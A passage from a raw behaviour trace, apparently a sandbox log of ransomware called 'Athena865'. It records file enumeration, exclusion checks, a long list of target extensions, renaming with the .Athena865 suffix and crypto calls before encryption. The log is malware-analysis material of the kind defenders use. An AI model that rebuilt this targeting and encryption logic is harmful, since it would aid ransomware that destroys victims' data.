lpString2="perflogs") returned -1 [0035.811] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="MSBuild") returned 1 [0035.811] lstrlenW (lpString="NTUSER.DAT.LOG1") returned 15 [0035.811] lstrcpyW (in: lpString1=0x241e88c, lpString2="NTUSER.DAT.LOG1" | out: lpString1="NTUSER.DAT.LOG1") returned="NTUSER.DAT.LOG1" [0035.812] lstrlenW (lpString="NTUSER.DAT.LOG1") returned 15 [0035.812] lstrlenW (lpString="Athena865") returned 9 [0035.812] lstrcmpiW (lpString1=".DAT.LOG1", lpString2="Athena865") returned -1 [0035.812] lstrlenW (lpString=".dll") returned 4 [0035.812] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".dll") returned 1 [0035.812] lstrlenW (lpString=".lnk") returned 4 [0035.812] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".lnk") returned 1 [0035.812] lstrlenW (lpString=".ini") returned 4 [0035.812] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".ini") returned 1 [0035.812] lstrlenW (lpString=".sys") returned 4 [0035.812] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".sys") returned 1 [0035.812] lstrlenW (lpString="NTUSER.DAT.LOG1") returned 15 [0035.812] lstrlenW (lpString="bak") returned 3 [0035.812] lstrcmpiW (lpString1="OG1", lpString2="bak") returned 1 [0035.812] lstrlenW (lpString="ba_") returned 3 [0035.812] lstrcmpiW (lpString1="OG1", lpString2="ba_") returned 1 [0035.812] lstrlenW (lpString="dbb") returned 3 [0035.812] lstrcmpiW (lpString1="OG1", lpString2="dbb") returned 1 [0035.812] lstrlenW (lpString="vmdk") returned 4 [0035.812] lstrcmpiW (lpString1="LOG1", lpString2="vmdk") returned -1 [0035.812] lstrlenW (lpString="rar") returned 3 [0035.812] lstrcmpiW (lpString1="OG1", lpString2="rar") returned -1 [0035.812] lstrlenW (lpString="zip") returned 3 [0035.812] lstrcmpiW (lpString1="OG1", lpString2="zip") returned -1 [0035.812] lstrlenW (lpString="tgz") returned 3 [0035.812] lstrcmpiW (lpString1="OG1", lpString2="tgz") returned -1 [0035.812] lstrlenW (lpString="vbox") returned 4 [0035.812] lstrcmpiW (lpString1="LOG1", lpString2="vbox") returned -1 [0035.812] lstrlenW (lpString="vdi") returned 3 [0035.812] lstrcmpiW (lpString1="OG1", lpString2="vdi") returned -1 [0035.812] lstrlenW (lpString="vhd") returned 3 [0035.813] lstrcmpiW (lpString1="OG1", lpString2="vhd") returned -1 [0035.813] lstrlenW (lpString="vhdx") returned 4 [0035.813] lstrcmpiW (lpString1="LOG1", lpString2="vhdx") returned -1 [0035.813] lstrlenW (lpString="avhd") returned 4 [0035.813] lstrcmpiW (lpString1="LOG1", lpString2="avhd") returned 1 [0035.813] lstrlenW (lpString="db") returned 2 [0035.813] lstrcmpiW (lpString1="G1", lpString2="db") returned 1 [0035.813] lstrlenW (lpString="db2") returned 3 [0035.813] lstrcmpiW (lpString1="OG1", lpString2="db2") returned 1 [0035.813] lstrlenW (lpString="db3") returned 3 [0035.813] lstrcmpiW (lpString1="OG1", lpString2="db3") returned 1 [0035.813] lstrlenW (lpString="dbf") returned 3 [0035.813] lstrcmpiW (lpString1="OG1", lpString2="dbf") returned 1 [0035.813] lstrlenW (lpString="mdf") returned 3 [0035.813] lstrcmpiW (lpString1="OG1", lpString2="mdf") returned 1 [0035.813] lstrlenW (lpString="mdb") returned 3 [0035.813] lstrcmpiW (lpString1="OG1", lpString2="mdb") returned 1 [0035.813] lstrlenW (lpString="sql") returned 3 [0035.813] lstrcmpiW (lpString1="OG1", lpString2="sql") returned -1 [0035.813] lstrlenW (lpString="sqlite") returned 6 [0035.813] lstrcmpiW (lpString1="T.LOG1", lpString2="sqlite") returned 1 [0035.813] lstrlenW (lpString="sqlite3") returned 7 [0035.813] lstrcmpiW (lpString1="AT.LOG1", lpString2="sqlite3") returned -1 [0035.813] lstrlenW (lpString="sqlitedb") returned 8 [0035.813] lstrcmpiW (lpString1="DAT.LOG1", lpString2="sqlitedb") returned -1 [0035.813] lstrlenW (lpString="xml") returned 3 [0035.813] lstrcmpiW (lpString1="OG1", lpString2="xml") returned -1 [0035.813] lstrlenW (lpString="$er") returned 3 [0035.813] lstrcmpiW (lpString1="OG1", lpString2="$er") returned 1 [0035.813] lstrlenW (lpString="4dd") returned 3 [0035.813] lstrcmpiW (lpString1="OG1", lpString2="4dd") returned 1 [0035.813] lstrlenW (lpString="4dl") returned 3 [0035.813] lstrcmpiW (lpString1="OG1", lpString2="4dl") returned 1 [0035.813] lstrlenW (lpString="^^^") returned 3 [0035.813] lstrcmpiW (lpString1="OG1", lpString2="^^^") returned 1 [0035.813] lstrlenW (lpString="abs") returned 3 [0035.814] lstrcmpiW (lpString1="OG1", lpString2="abs") returned 1 [0035.814] lstrlenW (lpString="abx") returned 3 [0035.814] lstrcmpiW (lpString1="OG1", lpString2="abx") returned 1 [0035.814] lstrlenW (lpString="accdb") returned 5 [0035.814] lstrcmpiW (lpString1=".LOG1", lpString2="accdb") returned -1 [0035.814] lstrlenW (lpString="accdc") returned 5 [0035.814] lstrcmpiW (lpString1=".LOG1", lpString2="accdc") returned -1 [0035.814] lstrlenW (lpString="accde") returned 5 [0035.814] lstrcmpiW (lpString1=".LOG1", lpString2="accde") returned -1 [0035.814] lstrlenW (lpString="accdr") returned 5 [0035.814] lstrcmpiW (lpString1=".LOG1", lpString2="accdr") returned -1 [0035.814] lstrlenW (lpString="accdt") returned 5 [0035.814] lstrcmpiW (lpString1=".LOG1", lpString2="accdt") returned -1 [0035.814] lstrlenW (lpString="accdw") returned 5 [0035.814] lstrcmpiW (lpString1=".LOG1", lpString2="accdw") returned -1 [0035.814] lstrlenW (lpString="accft") returned 5 [0035.814] lstrcmpiW (lpString1=".LOG1", lpString2="accft") returned -1 [0035.814] lstrlenW (lpString="adb") returned 3 [0035.814] lstrcmpiW (lpString1="OG1", lpString2="adb") returned 1 [0035.814] lstrlenW (lpString="adb") returned 3 [0035.814] lstrcmpiW (lpString1="OG1", lpString2="adb") returned 1 [0035.814] lstrlenW (lpString="ade") returned 3 [0035.814] lstrcmpiW (lpString1="OG1", lpString2="ade") returned 1 [0035.814] lstrlenW (lpString="adf") returned 3 [0035.814] lstrcmpiW (lpString1="OG1", lpString2="adf") returned 1 [0035.814] lstrlenW (lpString="adn") returned 3 [0035.814] lstrcmpiW (lpString1="OG1", lpString2="adn") returned 1 [0035.814] lstrlenW (lpString="adp") returned 3 [0035.814] lstrcmpiW (lpString1="OG1", lpString2="adp") returned 1 [0035.814] lstrlenW (lpString="alf") returned 3 [0035.814] lstrcmpiW (lpString1="OG1", lpString2="alf") returned 1 [0035.814] lstrlenW (lpString="ask") returned 3 [0035.814] lstrcmpiW (lpString1="OG1", lpString2="ask") returned 1 [0035.814] lstrlenW (lpString="btr") returned 3 [0035.814] lstrcmpiW (lpString1="OG1", lpString2="btr") returned 1 [0035.814] lstrlenW (lpString="cat") returned 3 [0035.814] lstrcmpiW (lpString1="OG1", lpString2="cat") returned 1 [0035.815] lstrlenW (lpString="cdb") returned 3 [0035.815] lstrcmpiW (lpString1="OG1", lpString2="cdb") returned 1 [0035.815] lstrlenW (lpString="ckp") returned 3 [0035.815] lstrcmpiW (lpString1="OG1", lpString2="ckp") returned 1 [0035.815] lstrlenW (lpString="cma") returned 3 [0035.815] lstrcmpiW (lpString1="OG1", lpString2="cma") returned 1 [0035.815] lstrlenW (lpString="cpd") returned 3 [0035.815] lstrcmpiW (lpString1="OG1", lpString2="cpd") returned 1 [0035.815] lstrlenW (lpString="dacpac") returned 6 [0035.815] lstrcmpiW (lpString1="T.LOG1", lpString2="dacpac") returned 1 [0035.815] lstrlenW (lpString="dad") returned 3 [0035.815] lstrcmpiW (lpString1="OG1", lpString2="dad") returned 1 [0035.815] lstrlenW (lpString="dadiagrams") returned 10 [0035.815] lstrcmpiW (lpString1="R.DAT.LOG1", lpString2="dadiagrams") returned 1 [0035.815] lstrlenW (lpString="daschema") returned 8 [0035.815] lstrcmpiW (lpString1="DAT.LOG1", lpString2="daschema") returned 1 [0035.815] lstrlenW (lpString="db-journal") returned 10 [0035.815] lstrcmpiW (lpString1="R.DAT.LOG1", lpString2="db-journal") returned 1 [0035.815] lstrlenW (lpString="db-shm") returned 6 [0035.815] lstrcmpiW (lpString1="T.LOG1", lpString2="db-shm") returned 1 [0035.815] lstrlenW (lpString="db-wal") returned 6 [0035.815] lstrcmpiW (lpString1="T.LOG1", lpString2="db-wal") returned 1 [0035.815] lstrlenW (lpString="dbc") returned 3 [0035.815] lstrcmpiW (lpString1="OG1", lpString2="dbc") returned 1 [0035.815] lstrlenW (lpString="dbs") returned 3 [0035.815] lstrcmpiW (lpString1="OG1", lpString2="dbs") returned 1 [0035.815] lstrlenW (lpString="dbt") returned 3 [0035.815] lstrcmpiW (lpString1="OG1", lpString2="dbt") returned 1 [0035.815] lstrlenW (lpString="dbv") returned 3 [0035.815] lstrcmpiW (lpString1="OG1", lpString2="dbv") returned 1 [0035.815] lstrlenW (lpString="dbx") returned 3 [0035.815] lstrcmpiW (lpString1="OG1", lpString2="dbx") returned 1 [0035.815] lstrlenW (lpString="dcb") returned 3 [0035.815] lstrcmpiW (lpString1="OG1", lpString2="dcb") returned 1 [0035.816] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\NTUSER.DAT.LOG1.Athena865") returned 59 [0035.816] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\documents and settings\\default\\ntuser.dat.log1"), lpNewFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT.LOG1.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.dat.log1.athena865"), dwFlags=0x1) returned 1 [0035.816] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT.LOG1.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.dat.log1.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0035.816] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=189440) returned 1 [0035.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0035.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52cfd0 [0035.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518788 [0035.817] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518898) returned 1 [0035.818] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0035.818] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0035.818] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e700, lpName=0x0) returned 0x154 [0035.819] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e700) returned 0x170000 [0035.829] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518898) returned 1 [0035.829] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0035.829] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0035.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0035.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0035.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0035.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0035.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0035.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0035.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52dfb8 [0035.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0035.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0035.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0035.830] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0035.832] CloseHandle (hObject=0x154) returned 1 [0035.832] CloseHandle (hObject=0x17c) returned 1 [0035.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cfd0 | out: hHeap=0x4f0000) returned 1 [0035.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518788 | out: hHeap=0x4f0000) returned 1 [0035.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0035.835] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0035.835] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.835] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.835] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2=".") returned 1 [0035.836] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="..") returned 1 [0035.836] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="windows") returned -1 [0035.836] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="bootmgr") returned 1 [0035.836] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="temp") returned -1 [0035.836] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="pagefile.sys") returned -1 [0035.836] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="boot") returned 1 [0035.836] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="ids.txt") returned 1 [0035.836] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="ntuser.dat") returned 1 [0035.836] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="perflogs") returned -1 [0035.836] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="MSBuild") returned 1 [0035.836] lstrlenW (lpString="NTUSER.DAT.LOG2") returned 15 [0035.836] lstrcpyW (in: lpString1=0x241e88c, lpString2="NTUSER.DAT.LOG2" | out: lpString1="NTUSER.DAT.LOG2") returned="NTUSER.DAT.LOG2" [0035.836] lstrlenW (lpString="NTUSER.DAT.LOG2") returned 15 [0035.836] lstrlenW (lpString="Athena865") returned 9 [0035.836] lstrcmpiW (lpString1=".DAT.LOG2", lpString2="Athena865") returned -1 [0035.836] lstrlenW (lpString=".dll") returned 4 [0035.836] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2=".dll") returned 1 [0035.836] lstrlenW (lpString=".lnk") returned 4 [0035.836] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2=".lnk") returned 1 [0035.836] lstrlenW (lpString=".ini") returned 4 [0035.836] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2=".ini") returned 1 [0035.836] lstrlenW (lpString=".sys") returned 4 [0035.836] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2=".sys") returned 1 [0035.836] lstrlenW (lpString="NTUSER.DAT.LOG2") returned 15 [0035.836] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\NTUSER.DAT.LOG2.Athena865") returned 59 [0035.836] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\documents and settings\\default\\ntuser.dat.log2"), lpNewFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT.LOG2.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.dat.log2.athena865"), dwFlags=0x1) returned 1 [0035.837] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT.LOG2.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.dat.log2.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0035.837] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=0) returned 1 [0035.837] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT.LOG2.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.dat.log2.athena865"), lpNewFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\documents and settings\\default\\ntuser.dat.log2"), dwFlags=0x1) returned 0 [0035.837] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.837] CloseHandle (hObject=0x0) returned 0 [0035.837] CloseHandle (hObject=0x17c) returned 1 [0035.837] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0035.837] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.837] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".") returned 1 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="..") returned 1 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="windows") returned -1 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="bootmgr") returned 1 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="temp") returned -1 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="pagefile.sys") returned -1 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="boot") returned 1 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="ids.txt") returned 1 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="ntuser.dat") returned 1 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="perflogs") returned -1 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="MSBuild") returned 1 [0035.838] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55 [0035.838] lstrcpyW (in: lpString1=0x241e88c, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" [0035.838] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55 [0035.838] lstrlenW (lpString="Athena865") returned 9 [0035.838] lstrcmpiW (lpString1="c}.TM.blf", lpString2="Athena865") returned 1 [0035.838] lstrlenW (lpString=".dll") returned 4 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".dll") returned 1 [0035.838] lstrlenW (lpString=".lnk") returned 4 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".lnk") returned 1 [0035.838] lstrlenW (lpString=".ini") returned 4 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".ini") returned 1 [0035.838] lstrlenW (lpString=".sys") returned 4 [0035.838] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".sys") returned 1 [0035.838] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55 [0035.838] lstrlenW (lpString="bak") returned 3 [0035.838] lstrcmpiW (lpString1="blf", lpString2="bak") returned 1 [0035.838] lstrlenW (lpString="ba_") returned 3 [0035.838] lstrcmpiW (lpString1="blf", lpString2="ba_") returned 1 [0035.838] lstrlenW (lpString="dbb") returned 3 [0035.838] lstrcmpiW (lpString1="blf", lpString2="dbb") returned -1 [0035.838] lstrlenW (lpString="vmdk") returned 4 [0035.838] lstrcmpiW (lpString1=".blf", lpString2="vmdk") returned -1 [0035.838] lstrlenW (lpString="rar") returned 3 [0035.838] lstrcmpiW (lpString1="blf", lpString2="rar") returned -1 [0035.838] lstrlenW (lpString="zip") returned 3 [0035.839] lstrcmpiW (lpString1="blf", lpString2="zip") returned -1 [0035.839] lstrlenW (lpString="tgz") returned 3 [0035.839] lstrcmpiW (lpString1="blf", lpString2="tgz") returned -1 [0035.839] lstrlenW (lpString="vbox") returned 4 [0035.839] lstrcmpiW (lpString1=".blf", lpString2="vbox") returned -1 [0035.839] lstrlenW (lpString="vdi") returned 3 [0035.839] lstrcmpiW (lpString1="blf", lpString2="vdi") returned -1 [0035.839] lstrlenW (lpString="vhd") returned 3 [0035.839] lstrcmpiW (lpString1="blf", lpString2="vhd") returned -1 [0035.839] lstrlenW (lpString="vhdx") returned 4 [0035.839] lstrcmpiW (lpString1=".blf", lpString2="vhdx") returned -1 [0035.839] lstrlenW (lpString="avhd") returned 4 [0035.839] lstrcmpiW (lpString1=".blf", lpString2="avhd") returned -1 [0035.839] lstrlenW (lpString="db") returned 2 [0035.839] lstrcmpiW (lpString1="lf", lpString2="db") returned 1 [0035.839] lstrlenW (lpString="db2") returned 3 [0035.839] lstrcmpiW (lpString1="blf", lpString2="db2") returned -1 [0035.839] lstrlenW (lpString="db3") returned 3 [0035.839] lstrcmpiW (lpString1="blf", lpString2="db3") returned -1 [0035.839] lstrlenW (lpString="dbf") returned 3 [0035.839] lstrcmpiW (lpString1="blf", lpString2="dbf") returned -1 [0035.839] lstrlenW (lpString="mdf") returned 3 [0035.839] lstrcmpiW (lpString1="blf", lpString2="mdf") returned -1 [0035.839] lstrlenW (lpString="mdb") returned 3 [0035.839] lstrcmpiW (lpString1="blf", lpString2="mdb") returned -1 [0035.839] lstrlenW (lpString="sql") returned 3 [0035.839] lstrcmpiW (lpString1="blf", lpString2="sql") returned -1 [0035.839] lstrlenW (lpString="sqlite") returned 6 [0035.839] lstrcmpiW (lpString1="TM.blf", lpString2="sqlite") returned 1 [0035.839] lstrlenW (lpString="sqlite3") returned 7 [0035.839] lstrcmpiW (lpString1=".TM.blf", lpString2="sqlite3") returned -1 [0035.839] lstrlenW (lpString="sqlitedb") returned 8 [0035.839] lstrcmpiW (lpString1="}.TM.blf", lpString2="sqlitedb") returned -1 [0035.839] lstrlenW (lpString="xml") returned 3 [0035.839] lstrcmpiW (lpString1="blf", lpString2="xml") returned -1 [0035.839] lstrlenW (lpString="$er") returned 3 [0035.839] lstrcmpiW (lpString1="blf", lpString2="$er") returned 1 [0035.840] lstrlenW (lpString="4dd") returned 3 [0035.840] lstrcmpiW (lpString1="blf", lpString2="4dd") returned 1 [0035.840] lstrlenW (lpString="4dl") returned 3 [0035.840] lstrcmpiW (lpString1="blf", lpString2="4dl") returned 1 [0035.840] lstrlenW (lpString="^^^") returned 3 [0035.840] lstrcmpiW (lpString1="blf", lpString2="^^^") returned 1 [0035.840] lstrlenW (lpString="abs") returned 3 [0035.840] lstrcmpiW (lpString1="blf", lpString2="abs") returned 1 [0035.840] lstrlenW (lpString="abx") returned 3 [0035.840] lstrcmpiW (lpString1="blf", lpString2="abx") returned 1 [0035.840] lstrlenW (lpString="accdb") returned 5 [0035.840] lstrcmpiW (lpString1="M.blf", lpString2="accdb") returned 1 [0035.840] lstrlenW (lpString="accdc") returned 5 [0035.840] lstrcmpiW (lpString1="M.blf", lpString2="accdc") returned 1 [0035.840] lstrlenW (lpString="accde") returned 5 [0035.840] lstrcmpiW (lpString1="M.blf", lpString2="accde") returned 1 [0035.840] lstrlenW (lpString="accdr") returned 5 [0035.840] lstrcmpiW (lpString1="M.blf", lpString2="accdr") returned 1 [0035.840] lstrlenW (lpString="accdt") returned 5 [0035.840] lstrcmpiW (lpString1="M.blf", lpString2="accdt") returned 1 [0035.840] lstrlenW (lpString="accdw") returned 5 [0035.840] lstrcmpiW (lpString1="M.blf", lpString2="accdw") returned 1 [0035.840] lstrlenW (lpString="accft") returned 5 [0035.840] lstrcmpiW (lpString1="M.blf", lpString2="accft") returned 1 [0035.840] lstrlenW (lpString="adb") returned 3 [0035.840] lstrcmpiW (lpString1="blf", lpString2="adb") returned 1 [0035.840] lstrlenW (lpString="adb") returned 3 [0035.840] lstrcmpiW (lpString1="blf", lpString2="adb") returned 1 [0035.840] lstrlenW (lpString="ade") returned 3 [0035.840] lstrcmpiW (lpString1="blf", lpString2="ade") returned 1 [0035.840] lstrlenW (lpString="adf") returned 3 [0035.840] lstrcmpiW (lpString1="blf", lpString2="adf") returned 1 [0035.840] lstrlenW (lpString="adn") returned 3 [0035.840] lstrcmpiW (lpString1="blf", lpString2="adn") returned 1 [0035.840] lstrlenW (lpString="adp") returned 3 [0035.840] lstrcmpiW (lpString1="blf", lpString2="adp") returned 1 [0035.840] lstrlenW (lpString="alf") returned 3 [0035.841] lstrcmpiW (lpString1="blf", lpString2="alf") returned 1 [0035.841] lstrlenW (lpString="ask") returned 3 [0035.841] lstrcmpiW (lpString1="blf", lpString2="ask") returned 1 [0035.841] lstrlenW (lpString="btr") returned 3 [0035.841] lstrcmpiW (lpString1="blf", lpString2="btr") returned -1 [0035.841] lstrlenW (lpString="cat") returned 3 [0035.841] lstrcmpiW (lpString1="blf", lpString2="cat") returned -1 [0035.841] lstrlenW (lpString="cdb") returned 3 [0035.841] lstrcmpiW (lpString1="blf", lpString2="cdb") returned -1 [0035.841] lstrlenW (lpString="ckp") returned 3 [0035.841] lstrcmpiW (lpString1="blf", lpString2="ckp") returned -1 [0035.841] lstrlenW (lpString="cma") returned 3 [0035.841] lstrcmpiW (lpString1="blf", lpString2="cma") returned -1 [0035.841] lstrlenW (lpString="cpd") returned 3 [0035.841] lstrcmpiW (lpString1="blf", lpString2="cpd") returned -1 [0035.841] lstrlenW (lpString="dacpac") returned 6 [0035.841] lstrcmpiW (lpString1="TM.blf", lpString2="dacpac") returned 1 [0035.841] lstrlenW (lpString="dad") returned 3 [0035.841] lstrcmpiW (lpString1="blf", lpString2="dad") returned -1 [0035.841] lstrlenW (lpString="dadiagrams") returned 10 [0035.841] lstrcmpiW (lpString1="ec}.TM.blf", lpString2="dadiagrams") returned 1 [0035.841] lstrlenW (lpString="daschema") returned 8 [0035.841] lstrcmpiW 